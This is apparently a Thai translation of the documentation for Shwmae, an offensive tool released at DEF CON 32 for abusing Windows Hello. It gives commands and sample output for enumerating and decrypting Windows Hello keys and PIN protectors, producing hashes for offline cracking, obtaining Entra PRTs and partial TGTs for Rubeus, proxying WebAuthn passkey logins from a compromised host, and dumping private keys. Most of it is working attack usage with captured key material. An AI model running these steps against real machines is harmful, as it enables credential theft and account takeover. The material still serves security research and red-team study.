Shwmae (shuh-my) เป็นเครื่องมือการละเมิด Windows Hello ที่เผยแพร่ระหว่าง DEF CON 32 โดยเป็นส่วนหนึ่งของ Abusing Windows Hello Without a Severed Hand talk วัตถุประสงค์ของเครื่องมือนี้คือการใช้ Windows Hello ในทางที่ผิดจากบริบทผู้ใช้ที่มีสิทธิ์
Shwmae Copyright (C) 2024 Shwmae enum (Default Verb) Enumerate Windows Hello protectors, keys and credentials sign Sign data using a Windows Hello protected certificate prt Obtain an Entra PRT and partial TGT usable with Rubeus webauthn Create a webserver to proxy WebAuthn requests from an attacking host dump Dump Windows Hello protected keys when backed by software help Display more information on a specific command. version Display version information.
เครื่องมือนี้มีโหมดการทำงานหลายโหมด
เมื่อไม่มีการระบุอาร์กิวเมนต์ การแจงนับจะเป็นโหมดดีฟอลต์ หรือคุณสามารถใช้คำสั่ง enum
ได้ โหมดการแจงนับจะระบุคอนเทนเนอร์ Windows Hello ทั้งหมดที่มีอยู่ และระบุคีย์และตัวป้องกันที่ลงทะเบียน Windows Hello ทั้งหมดภายในคอนเทนเนอร์แบบเรียกซ้ำ ในกรณีที่ไม่มี TPM บนโฮสต์ ระบบจะสร้างแฮชสำหรับตัวป้องกัน PIN ซึ่งสามารถถอดรหัสแบบออฟไลน์ได้โดยใช้ hashcat
ตัวป้องกันไบโอเมตริกซ์จะถูกถอดรหัสโดยอัตโนมัติ แต่ตัวป้องกัน PIN และตัวป้องกันการกู้คืนสามารถถอดรหัสได้โดยใช้อาร์กิวเมนต์ /pin
และ /token
ตามลำดับ ต้องถอดรหัสตัวป้องกันเพียงตัวเดียวจากแต่ละคอนเทนเนอร์เพื่อให้สามารถใช้งานคีย์ Windows Hello ภายในคอนเทนเนอร์นั้นในทางที่ผิด
Shwmae [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd GINGEmary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111) Provider : Microsoft Platform Crypto Provider Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW... Recovery Key : Use /token argument to decrypt recovery key ** Protectors ** Type : Pin Pin Type : Numeric Length : 8 Decrypted : Supply /pin argument to attempt decryption Type : Bio Encryption Type: Aes GCM Nonce : cacf46896844d3f96a55fd8c GCM AuthData : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c GCM Tag : f5d6d1c3e35f944038e03013851d6d69 Decrypted : True (Bio Key Correct) ExtPin : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94 DecryptPin : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1 SignPin : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3 Type : Recovery IV : 49b2c5b8416e5563387e10a8a3d9ae68 ** Credentials ** Resource : WinBio Key Resource SID : S-1-5-21-1003644063-402998240-3342588708-1111 Protector Key : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52 ** Keys ** Name : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] Provider : Microsoft Platform Crypto Provider Key Id : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824} Key File : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY Azure Tenant Id : de60a4fa-d583-4eb0-ab66-ce358af8279c Azure User : [email protected] Azure kid : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw= Name : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0 Provider : Microsoft Platform Crypto Provider Key Id : {36E18DBB-52AC-4198-BD34-55B3490A575C} Key File : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY FIDO Relay Party : github.com FIDO Public Key : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR FIDO Cred Id : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co FIDO User Id : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA FIDO User : mary-gruber FIDO Display Name: mary-gruber FIDO Sign Count : 2 Name : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key) Provider : Microsoft Software Key Storage Provider Key Id : {7418B315-A00B-4113-A0EC-5C51718D11C5} Key File : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7 Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9 Provider : Microsoft Software Key Storage Provider Key Id : {696644C4-EA34-400C-99D2-8B5E38095AA6} Key File : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7
โหมดการทำงาน PRT อำนวยความสะดวกในการสร้าง PRT เริ่มต้นและต่ออายุ PRT ที่มีอยู่ผ่านคำสั่ง prt
โดยใช้คีย์ Windows Hello ที่ลงทะเบียนของ Entra หากเปิดใช้งานความน่าเชื่อถือบนคลาวด์ภายในผู้เช่า TGT บนคลาวด์จะถูกถอดรหัสและสามารถใช้เพื่อรับรองความถูกต้องในฐานะผู้ใช้กับ Active Directory ภายในองค์กรโดยใช้ Rubeus
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111 [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd [=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw= [+] Successfully decrypted NGC key set from protector type Bio Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0 Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
สำหรับการต่ออายุ PRT จำเป็นต้องใช้ PRT และคีย์เซสชันจากคำขอ PRT เริ่มต้น
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
โหมดการทำงาน WebAuthn จะตั้งค่า web API แบบธรรมดาผ่านคำสั่ง webauthn
ที่จะยอมรับคำขอยืนยัน WebAuthn จากส่วนขยายเว็บเบราว์เซอร์ ShwmaeExt จากโฮสต์อื่น
เมื่อตั้งค่า Listener WebAuthn HTTP บนโฮสต์ที่ถูกบุกรุก ซึ่งมีค่าเริ่มต้นเป็น Listener บนพอร์ต 8000 คุณสามารถติดตั้ง ShwmaeExt ภายในเบราว์เซอร์ที่ถูกโจมตีได้ เมื่อคุณตั้งค่า URL ของ Listener ภายในส่วนขยายแล้ว คุณสามารถเข้าสู่ระบบผ่านการรับรองความถูกต้องของ Passkey โดยใช้ข้อมูลรับรองใดๆ ที่มีอยู่จากโฮสต์ที่ถูกบุกรุก คุณสามารถค้นหาส่วนขยายที่ระเบิดได้ภายในโฟลเดอร์ ShwmaeExt
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit
คำสั่ง dump
สามารถใช้สำหรับแยกคีย์ส่วนตัวที่สนับสนุน Windows Hello ซึ่งได้รับการสนับสนุนโดยผู้ให้บริการ Software Key Storage คุณไม่สามารถใช้โหมดนี้เพื่อแยกคีย์ที่ได้รับการสนับสนุนโดยผู้ให้บริการจัดเก็บคีย์แพลตฟอร์ม
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
คำสั่ง sign
สามารถใช้สำหรับการลงนามข้อมูลที่กำหนดเองด้วยคีย์เฉพาะ โหมดนี้จะมีประโยชน์ในสถานการณ์ที่ไม่มีการรวมเฉพาะภายในเครื่องมือ
อาร์กิวเมนต์ --key-name
ใช้เพื่อกำหนดเป้าหมายคู่คีย์ Windows Hello เฉพาะที่จะใช้และอาร์กิวเมนต์ --data
ใช้เพื่อคำนวณลายเซ็น ข้อมูลควรนำเสนอเป็นสตริงที่เข้ารหัส Base64 แต่สตริงนั้นจะถูกถอดรหัสเป็นไบนารี่ก่อนที่จะสร้างลายเซ็น ลายเซ็นไบนารี่จะถูกแปลงเป็น Base64 และพิมพ์ไปยังคอนโซล
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd [=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGEmary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111) [+] Successfully decrypted NGC key set from protector type Bio [+] Success: MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==